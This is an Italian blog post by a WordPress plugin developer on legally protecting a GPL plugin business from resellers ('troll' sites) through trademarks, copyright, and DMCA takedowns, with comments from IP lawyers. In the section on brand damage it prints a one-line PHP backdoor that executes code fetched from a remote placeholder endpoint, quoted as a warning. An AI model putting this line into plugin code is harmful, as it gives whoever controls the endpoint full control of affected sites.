La guida definitiva per proteggere legalmente la tua attività di plugin WordPress GPL contro i troll

Le licenze software possono essere un argomento molto confuso, specialmente nel mondo open source. I confini della legalità e dell'etica non sono sempre chiari. Ma poiché gli imprenditori si sono concentrati sulla vendita di plug-in GPL di WordPress, è nostro dovere comprendere a fondo questi argomenti.

Questo post non affronterà l'etica e si concentrerà sulle considerazioni legali. Ti fornirà una formula praticabile passo dopo passo, incluso il feedback di avvocati esperti in questo spazio, per proteggere la tua attività WordPress dai "troll" dei plug-in.

In qualità di sviluppatore di plugin negli ultimi cinque anni, ho letto tonnellate di articoli che discutono della GPL, delle sue libertà e delle sfide associate alla gestione di un'attività conforme alla GPL. Ma negli ultimi mesi, questo argomento è diventato ancora più significativo per me.

Ad agosto, un account Twitter chiamato WordPress Plugins (https://twitter.com/plugswp) mi ha seguito. Per abitudine, ho controllato il loro profilo per saperne di più su quell'utente. Presto ho scoperto che il gestore era associato a "wppluginscheap.com", un "troll" di plugin e temi che si autodefinisce "la fonte numero 1 per plugin e temi WordPress premium economici". Navigando nel sito, ho trovato molti plugin premium popolari come Yoast SEO, Backup Buddy, WP Robot e 50 temi premium. Ogni prodotto venduto per meno di $ 10.

Ingenuo com'ero, sono saltato su WPChat e ho aperto una nuova discussione:

Abbiamo tutti codificato sotto la minaccia che alcuni troll si aprissero e rivendessero i nostri plugin/temi GPL a prezzi ridicoli. Bene... è qui Che ne dici di acquistare Yoast Premium SEO per $ 4,00... Sono un po' incazzato e d'altronde divertito poiché sapevo che un giorno sarebbe apparso.

Ho rivolto alla community due domande:
1. Come facciamo a rimuoverlo?
2. Ti senti minacciato?

Parallelamente, sono andato al gruppo Facebook avanzato di WordPress e ho caricato il seguente stato:

Joost de Valk e Thomas Hofter, a meno che voi ragazzi non abbiate iniziato a vendere i vostri plugin per meno di $ 10, penso che questi ragazzi violino i vostri marchi (e dozzine di altri sviluppatori di plugin). Come lo abbassiamo?

Se sei un membro del gruppo AWP, puoi controllare l'intero thread qui.

Entrambi i thread hanno generato molto interesse e discussione. Ho ricevuto 17 risposte in WPChat e 84 commenti nel gruppo Facebook di AWP. Una volta che le risposte hanno iniziato ad accumularsi, mi sono reso conto di due cose:
1. I plugin/troll a tema di WordPress sono un'epidemia: sta succedendo ovunque!

Questo accade da molto tempo, anche se principalmente con temi e componenti aggiuntivi di WooCommerce. Vedi gplclub.org e sozot.com. WPAvengers.com ha fatto qualcosa di simile prima della chiusura.

– Leland Fiegel, fondatore di WPChat

2. Anche se ci sono centinaia di post sul blog su ogni aspetto della licenza GPL, c'è ancora molta confusione nell'ecosistema. Anche tra influencer. Sembra che molte persone pensino che sia tecnicamente OK (anche se non etico) farlo poiché i plugin e i temi sono concessi in licenza sotto GPL.

Questi opportunisti spuntano di tanto in tanto e non sembrano mai ammontare a nulla. È legale (la parte GPL, comunque) ma non etico. È pigro. Ed è un male per i clienti perché le merci sono in condizioni discutibili, obsolete, non supportate e sospette.

– Steven Gliebe, sviluppatore di temi e fondatore di Pro Plugin Directory

Non è etico, tuttavia se io come proprietario di un negozio di temi/plugin rilasciando sotto GPL direi che, mi sento ancora più immorale se posso dirlo di quei ragazzi, e un totale ipocrita.

– Ionut Neagu, fondatore di CodeinWP

Altri commenti ricevuti su Facebook includevano:

• Se i plugin sono stati concessi in licenza sotto GPL, temo che non possano fare nulla
• Non credo che le versioni premium siano sotto GPL
• È legale, sotto GPL

E ce ne sono molti di più!

Quindi, prima di iniziare, lasciami chiarire qualcosa -

Questo è completamente sbagliato!

Gli sviluppatori hanno ancora diritti applicabili anche se i loro plugin sono distribuiti con una licenza open source.
Questi "troll plug-in" possono comunque essere ritenuti responsabili della violazione del marchio e/o del copyright.

Voglio aggiungere che ho letto molte opinioni in cui si afferma che nessun danno viene fatto al business da quei troll. Se fosse così, non mi preoccuperei di passare così tanto tempo a compilare questo post. Vorrei cogliere l'occasione per spiegare i motivi per cui i troll sono dannosi per la comunità di WordPress, per la tua azienda e anche per gli utenti di WordPress.

Perché i troll dei plug-in sono dannosi per la tua attività di plug-in?

Entrate perse

Che ti piaccia o no, una parte degli utenti acquisterà o otterrà il tuo plug-in premium da questi siti Web. Soprattutto i principianti di WordPress. Se ero nuovo nell'ecosistema di WordPress e cercavo un plug-in SEO, Yoast SEO per $ 4 suona molto più allettante del prezzo intero. Lo comprerei e basta. Proprio come cerco sempre lo sconto migliore quando acquisto uno smartphone o altri prodotti. Non ho bisogno della "garanzia originale" poiché non l'ho mai utilizzata con nessuno dei prodotti che ho acquistato, quindi il supporto non è qualcosa che gli utenti hanno in mente fin dall'inizio.

Sostieni l'abuso

Se ci sono problemi con il plug-in acquistato dal troll, indovina chi è stato incolpato per questo? Naturalmente il vero sviluppatore/azienda. Se l'opera d'arte associata al tuo marchio viene replicata, i clienti ti contatteranno. Proprio come se avessi acquistato uno smartphone HTC su Amazon, quando ho problemi con il dispositivo chiamo il supporto tecnico HTC, non Amazon. Cosa diresti all'utente? "Sì, è il nostro telefono, ma devi contattare Amazon per il supporto tecnico." Questa risposta sarebbe difficile da digerire per un utente. Sembrerà che tu non stia dietro ai tuoi prodotti.

Se ci sono problemi con il plug-in acquistato dal troll, indovina di chi è la colpa? Tweet

Danno al marchio

Non c'è dubbio che alcuni troll inseriscano codice dannoso nei plugin. L'incentivo principale per farlo è generare entrate distribuendo gratuitamente i plugin premium. L'ho assistito io stesso. Due anni fa, sono stato avvicinato da un SEO senior di una GRANDE agenzia con sede nel Regno Unito (oltre 100 dipendenti). . Si è offerto di collaborare con me aggiungendo una semplice riga di codice al nostro plugin:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

L'idea era che l'endpoint API restituisse URL nascosti per spingere i backlink delle società in portafoglio. Uno degli esempi che ha inviato è stato:

<a href="”http://www.portfolio-company.com”">Great Company</a>

I troll possono iniettare codice dannoso nei plug-in mentre utilizzano il tuo marchio originale, un danno diretto per il tuo marchio!Tweet

Questo era prima di Google Penguin ed è stato un ottimo hack SEO. E anche l'offerta è stata fantastica: $ 0,1 per dominio al mese. Quindi, se avessi 100.000 domini attivi utilizzando il mio plug-in, potrei generare $ 10.000 / mese. ricavi senza spendere un minuto in più. Fantastico vero? Ovviamente non lo abbiamo fatto, per vari motivi, principalmente perché questo codice era ESTREMAMENTE dannoso. Apre una backdoor remota per fare tutto ciò che vuoi con il sito. Anche se l'agenzia intendeva usarlo solo per la SEO, cosa succede se il loro server viene violato e qualcuno con cattive intenzioni prende il controllo? Chissà quanti plugin legittimi di WordPress.org hanno collaborato con quell'agenzia... Tornando ai troll, le loro intenzioni sono puramente finanziarie. Non promuovono i tuoi plugin premium per divertimento, vogliono fare soldi. E se fanno cose illegali come violazione del copyright e del marchio, nulla impedisce loro di generare flussi di entrate alternativi come le iniezioni di codice. Oh, e ho dimenticato di dire che se succede qualcosa del genere sei tu quello da biasimare! È il tuo prodotto e il tuo marchio.

Perché i troll dei plugin sono dannosi per gli utenti?

Per molti degli stessi motivi che ho menzionato, ma dal punto di vista dell'utente.

Senza supporto

Di fronte a un problema tecnico, il troll non può aiutarti. Non è il loro prodotto, non hanno idea del codice o di come risolvere eventuali problemi correlati. Inoltre, non hanno le risorse di supporto per farlo. E se proverai a contattare l'azienda originale, gli sviluppatori di plugin premium hanno l'infrastruttura per tenere traccia dei loro clienti. L'azienda spesso non ti aiuterà finché non acquisti una licenza originale.

I ridistributori illegali dei plugin non possono e non ti aiuteranno con problemi tecnici.Tweet

Nessun aggiornamento automatico

La maggior parte dei plug-in premium oggi sul mercato ha un meccanismo di licenza e aggiornamento (i troll spesso "hackerano" questa parte prima di ridistribuire il plug-in). Il modo in cui funziona questo meccanismo di aggiornamento automatico è che una volta ogni 24 ore, il plug-in controlla il server dell'azienda originale per vedere se ci sono aggiornamenti per la versione premium. Si autentica anche con una chiave di licenza. Poiché il plug-in del troll non è mai stato rilasciato con una chiave di licenza dalla società originale, questo meccanismo di aggiornamento NON funzionerà. Pertanto, ogni volta che viene installato un plug-in premium non originale, non ci sono aggiornamenti automatici. Questo è negativo poiché gli hacker trovano costantemente nuove vulnerabilità creative e un plug-in premium obsoleto potrebbe essere quella perdita di sicurezza.

I plug-in piratati di WordPress non hanno un meccanismo di aggiornamento automatico: vulnerabilità di sicurezza costante! Tweet

Grandi falle di sicurezza

Ricordi la riga di codice dannosa che ho menzionato sopra? Ti piacerebbe avere una backdoor per il tuo sito aperta agli hacker? Questa backdoor consente letteralmente a un hacker di modificare ogni pixel e contenuto del tuo sito. E questo è solo un esempio, sono sicuro che ci sono molte altre iniezioni creative là fuori.

Cosa coprono le licenze open source?

Poiché c'è chiaramente molta confusione su questi problemi nella comunità degli sviluppatori, ho contattato il mio amico, Ariel Reinitz e il suo collega Matthew Hintz, che sono avvocati della proprietà intellettuale (IP) (brevetti, marchi e diritti d'autore) presso Lowenstein Sandler LLP, un'azienda a livello nazionale con uffici da New York a Palo Alto.

Ariel mi ha spiegato che mentre i "troll" del plug-in WP possono tecnicamente essere autorizzati a ridistribuire il codice che è sotto una licenza open source (ad esempio, GPL), ci sono altri diritti di proprietà intellettuale ("IP") che non sono coperti dall'open source licenza che questi "troll" potrebbero ancora violare.

Ecco cosa ha da dire Ariel sulla GPL:

È importante capire cosa copre (e non copre) la licenza open source (GPLv2) in base alla quale viene distribuita la maggior parte dei plugin di WordPress:

Una licenza open source determina la modalità di distribuzione del software/codice sorgente. In genere, tali licenze consentono a chiunque di utilizzare, modificare, ecc., il software/codice senza alcun costo. Pertanto, il codice sorgente di un progetto open source può essere ridistribuito da altre parti senza violare i termini della GPL.

In parole semplici: la libertà della GPL consente a chiunque di prendere il codice sorgente e di farne quello che vuole, inclusa la distribuzione. Credo che ci sia un consenso su quella parte nella comunità.

Cosa non coprono le licenze open source?

Tuttavia, le licenze open source (inclusa la GPLv2) non si estendono generalmente ai marchi. I marchi riguardano il modo in cui un prodotto (ad es. un plug-in, un tema, un'app, ecc.) è marchiato, ad es. il nome del prodotto (e/o l'azienda da cui proviene), il suo slogan/slogan e /o il suo logo. Pertanto, mentre il codice sorgente di un progetto può essere liberamente ridistribuibile sotto una licenza open source, tale licenza non concede ad altri alcun diritto rispetto ai marchi associati al progetto (ad esempio, il nome del prodotto, l'azienda che lo ha sviluppato, eccetera.).

In parole non legali, la GPL non consente di utilizzare nessuno dei marchi del plug-in come il nome del prodotto, il nome dell'azienda e il logo. Ariel ci fa un esempio:

Quindi, ad esempio, se una terza parte ridistribuisce un plug-in WordPress utilizzando tutto il marchio originale del progetto (ad es. promuovendolo con il nome originale, il logo, ecc., dell'azienda/progetto), ciò probabilmente violerebbe il marchio dello sviluppatore originale diritti. Come notato, la licenza open source non consente a qualcuno di utilizzare il marchio di qualcun altro in un contesto commerciale. Questo è importante perché uno dei principi fondamentali del diritto dei marchi è proteggere il consumatore dalla confusione sulla provenienza di un prodotto.

I principi fondamentali del diritto dei marchi non sono solo la protezione dell'azienda, ma anche la protezione del consumatore dalla confusione sulla provenienza di un prodotto. Questa è una nota importante!

È anche importante riconoscere che molte società open source registrano, proteggono e controllano i propri diritti sui marchi. Gli esempi includono: Linux , MySQL , Red Hat e WordPress .

Quello che Ariel sta dicendo qui è che molti dei più grandi nomi dell'open source proteggono e controllano i loro diritti sui marchi. Perché non dovremmo fare lo stesso?

Se Red Hat può proteggere e controllare i loro diritti sui marchi, perché gli sviluppatori di plugin non possono?Tweet

Oltre ai diritti sui marchi, Ariel ha sottolineato che gli sviluppatori hanno anche diritto alla protezione del copyright sui materiali che producono che non fanno parte del codice sorgente:

È anche importante riconoscere che la GPL (e altre licenze open source) coprono solo il codice sorgente del plugin stesso. Tuttavia, se lo sviluppatore crea materiali che non fanno parte del codice sorgente (ad es. grafica, materiale promozionale, packaging, ecc.), tali materiali non rientrerebbero nella GPL e lo sviluppatore non avrebbe alcun obbligo di consentire a un'altra parte per ridistribuire i materiali.

Ad esempio, dai un'occhiata a come il plug-in "Yoast" è presente in alcuni dei siti "troll" di cui sopra. Sebbene questi siti possano tecnicamente essere in grado di ridistribuire il codice sorgente di Yoast (poiché rientra nella GPL), questi siti incorporano anche elementi come il marchio Yoast (ad esempio, il nome e il logo di Yoast, che sono marchi di fabbrica) nonché altri materiali creativi sviluppati da Yoast (ad esempio, la grafica del ragazzo che beve il tè che non fa parte del codice sorgente di Yoast e quindi il copyright è di proprietà di Yoast e non è soggetto alla GPL).

Quindi, mentre il troll può essere legalmente autorizzato a ridistribuire il codice sorgente di Yoast, la GPL (o un'altra licenza open source) non dà loro il diritto di utilizzare (a) il marchio Yoast (marchi) o (b) altra grafica, materiali, ecc. ., (diritti d'autore) . Poiché non fanno parte del codice sorgente del plug-in, questi elementi non rientrano nella GPL e pertanto i diritti di proprietà intellettuale (IP) su questi elementi sono di proprietà esclusiva dello sviluppatore .

Poiché i "troll" del plug-in utilizzano i marchi dello sviluppatore e i materiali protetti da copyright (come negli esempi "Yoast" sopra), esistono procedure legali (come esploreremo in dettaglio di seguito) che gli sviluppatori possono utilizzare per far valere questi diritti al fine di fermare, dissuadere o almeno tentare di limitare l'impatto che questi "troll" possono avere sulla tua attività. Ancora una volta, questo è vero anche se il tuo plugin è distribuito sotto GPL.

Cosa è protetto dai marchi?

Matthew spiega cosa coprono i marchi:

In poche parole, un marchio è un identificatore univoco per i consumatori che distingue la fonte di beni o servizi dagli altri. Molto spesso, un marchio è una parola, un logo o una combinazione di questi elementi. Negli Stati Uniti, i diritti sui marchi iniziano con l'uso nel commercio (chiamati "diritti di diritto comune"), non attraverso la registrazione presso l'Ufficio brevetti e marchi degli Stati Uniti (USPTO). Tuttavia, la registrazione del tuo marchio presso l'USPTO offre al proprietario molti vantaggi non disponibili attraverso i diritti di common law. In particolare, questi includono la prova del diritto esclusivo del registrante di utilizzare un marchio negli Stati Uniti in relazione ai prodotti o servizi indicati nella registrazione, l'avviso costruttivo che il registrante è il proprietario del marchio, l'elenco della registrazione nell'USPTO's database online e capacità di utilizzare il simbolo. (Prima della registrazione, è possibile utilizzare un simbolo TM con un marchio.)

Il codice è protetto da un marchio?

Durante la mia ricerca, ho letto alcuni post in cui si afferma che quando si esegue il fork di un plug-in o di un tema con licenza GPL, il codice deve essere rifattorizzato per assicurarsi che non ci siano funzioni che includano l'identificatore del marchio come parte del nome della funzione. Per chiarire ciò, ho chiesto a Matteo se il codice è protetto anche dal marchio, ed ecco la risposta:

Il codice stesso non è protetto da marchio. I marchi proteggono la parola o il logo che un consumatore associa ai tuoi beni o servizi. Un limite alla protezione del marchio per un plug-in sarebbe quindi la parola o il logo utilizzato per commercializzare il plug-in ai consumatori. E poi il test fondamentale per la violazione del marchio è se i consumatori sarebbero probabilmente confusi dalla somiglianza dei due marchi. La somiglianza viene valutata esaminando aspetti come la somiglianza visiva e fonetica, quanto sono strettamente correlati i prodotti/servizi per ciascun marchio, quanto sono distintivi i marchi e per quanto tempo sono stati utilizzati i marchi.

Per chiarire la risposta in un linguaggio adatto agli sviluppatori:

• Nomi di classi, nomi di funzioni, nomi di variabili e nomi di costanti NON sono protetti da marchio.
• D'altra parte, le stringhe che vengono stampate sulla pagina e visibili agli utenti finali, sono protette dal marchio.

Come depositare una registrazione di marchio?

Per ottenere i vantaggi della registrazione federale di un marchio, il tuo marchio deve essere registrato presso l'USPTO. La domanda di registrazione deve includere informazioni di base: nome del richiedente/titolare, il marchio, i prodotti o servizi con cui il marchio è utilizzato, la prova dell'uso del marchio con tali prodotti o servizi e le date del primo utilizzo di tale marchio . Considerazioni per la tua candidatura:

• Cerca nel database TESS dell'USPTO (http://www.uspto.gov/trademark ) marchi uguali o simili. Se marchi uguali o simili sono richiesti o già registrati, questi possono essere la base per un rigetto della tua domanda. Cerca anche tramite Google o altri servizi di ricerca poiché un marchio potrebbe essere utilizzato senza registrazione e avere diritti superiori su quel marchio nonostante la tua registrazione. La registrazione non esaurisce i diritti di marchio dell'utente precedente.
• Per descrivere i tuoi beni o servizi, cerca nel manuale ID dell'USPTO un linguaggio accettabile: http://tess2.uspto.gov/netahtml/tidm.html . Puoi anche cercare una lingua accettabile su TESS.
• Le classi sono indicazioni generali relative a determinati campi di beni o servizi. Ad esempio, i plug-in scaricabili sono generalmente nella Classe 9 che copre tutti i programmi e i software per computer.
• Le tariffe per una domanda di marchio sono determinate dal numero di classi. La tariffa generale è di $ 275 per classe, ma sono disponibili opzioni di archiviazione inferiori e più costose.

Dopo che una domanda è stata depositata, l'USPTO esaminerà la domanda per determinare se il marchio è un identificatore univoco (vale a dire, non descrittivo o simile in modo confuso alle precedenti domande o registrazioni depositate). L'USPTO fornisce le tempistiche per le domande: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Tieni presente che la protezione del marchio è territoriale. Ad esempio, una registrazione negli Stati Uniti garantirà la protezione del marchio negli Stati Uniti.

Come ha descritto Matthew, il processo non è necessariamente complesso, ma richiede tempo e fatica. Consiglierei di pagare un avvocato di livello medio per farlo per te. Dovrebbe costarti tra $ 200 e $ 2.000 per il lavoro, anche se ti farà risparmiare tempo e garantire una migliore applicazione. In ogni caso, prima di iniziare, cercalo su Google! Se trovi un prodotto o un'azienda (in particolare nel campo stesso o simile) che corrisponde al tuo esatto termine/frase, ci sono buone probabilità che NON sarai in grado di registrare il marchio (e potresti effettivamente violare quello di qualcun altro).

Cosa fare quando il tuo marchio viene violato?

Inizierò con ciò che NON dovresti fare: se si tratta di una violazione del marchio, non di un copyright, NON dovresti presentare una rimozione DMCA.

DMCA copre SOLO la violazione del copyright. Nessuna disposizione simile è disponibile per i marchi. L'utilizzo degli avvisi di rimozione DMCA per le rivendicazioni sui marchi può comportare la responsabilità del ricorrente per dichiarazioni false.

In genere è più semplice tentare di risolvere le questioni direttamente con il proprietario del sito web. Se ciò non riesce, puoi avviare un'azione legale contro il proprietario del sito Web, l'host, ecc. L'approccio specifico che adotterai sarà probabilmente specifico del caso e, a questo punto, ti suggerisco di contattare un avvocato per comprendere l'opzione migliore nelle tue circostanze specifiche .

Cosa è protetto dai diritti d'autore?

Il diritto d'autore è diverso dal marchio. Il diritto d'autore protegge le opere d'autore originali fissate in qualche mezzo di espressione. Tuttavia, un limite alla protezione del diritto d'autore è che si estende solo all'espressione, non all'idea. Le categorie di opere per la protezione del diritto d'autore includono opere letterarie (libri, codice), opere musicali, fotografie e immagini, film, registrazioni sonore, tra le altre categorie. Un altro limite è che il diritto d'autore non protegge le frasi o le espressioni brevi, che rimangono per la protezione del marchio, purché funzionino come identificatore univoco per i consumatori che distingue la fonte di beni o servizi da altre.

Cosa fare quando i tuoi diritti d'autore vengono violati?

1. Inizialmente, è spesso più semplice tentare di contattare direttamente il proprietario del sito web. In molti casi, il proprietario del sito Web non è più interessato di te ad arruolare avvocati, essere coinvolti in procedimenti legali, ecc. Prova a trovare l'account Twitter, l'e-mail di contatto o la pagina di contatto sul sito e invia un messaggio chiedendo la rimozione di il tuo plug-in con marchio dal sito web.
2. Se non aiuta, puoi inviare un avviso di rimozione DMCA (Digital Millennium Copyright Act). Ci sono un sacco di generatori per aiutarti a crearne uno, basta cercare su Google "dmca takedown generator". Una volta ricevuto l'avviso, dovrai inviarlo al proprietario del sito, alla società di hosting e all'ISP. Puoi opzionalmente inviare un avviso anche ai motori di ricerca per rimuovere il sito dai risultati della ricerca. Per trovare la società di hosting puoi utilizzare siti web come whoishostingthis.com. Per trovare l'ISP puoi usare siti web come http://www.whoismyisp.org/. Per trovare il link pertinente per presentare il DMCA all'ISP/Hosting, cerca su Google ISP_NAME/HOSTING_NAME + DMCA.

In alternativa, puoi avviare un'azione legale contro il proprietario del sito Web, l'host, ecc. Suggerisco di contattare un avvocato per capire se questa è o meno l'opzione migliore nelle tue circostanze specifiche.

Conclusione

Spero che questa serie di istruzioni dettagliate ti abbia fornito gli strumenti giusti per proteggere la tua attività di plug-in GPL dai troll. Solo un riassunto:

• In qualità di imprenditore, sei idoneo e dovresti proteggere il marchio e le risorse della tua azienda.
• I marchi e i diritti d'autore sono modi relativamente economici ed efficaci per proteggere legalmente la tua attività di plug-in. Pertanto, dovresti considerare fortemente la registrazione di marchi per il nome della tua azienda e per i nomi dei prodotti.
• Molti troll violano sia i diritti d'autore (ad esempio, rimuovendo la tua grafica promozionale) che i marchi (usando il nome del tuo marchio). Creando un marchio, un logo e un'opera d'arte unici, generi un portfolio per aiutare a combattere la violazione del copyright.

Molti troll violano sia i diritti d'autore che i marchi. Creando un marchio, un logo e una grafica unici, generi un portfolio per aiutare a combattere la violazione del copyright.Tweet

Se un sito Web di terze parti elenca il tuo plugin o tema GPL premium, in vendita o in omaggio, senza il tuo consenso:

• Se il sito Web utilizza la tua opera d'arte originale o altri materiali, è probabile che si tratti di una violazione del copyright. Puoi presentare una rimozione DMCA.
• Se il sito web utilizza il marchio della tua azienda o del tuo prodotto, è probabile che si tratti di una violazione del marchio. È possibile avviare procedimenti legali contro il sito web.

Se hai ulteriori pensieri sulle implicazioni legali ed etiche della GPL, sentiti libero di condividerlo nei commenti qui sotto.

Ottime referenze:

• Avviso di rimozione DMCA emesso contro il fork di WP Migrate DB Pro
• La licenza GPL non offre la libertà di violare i marchi registrati
• La GPL di WordPress viene abusata?
• Perché stiamo pagando per il codice con licenza GPL?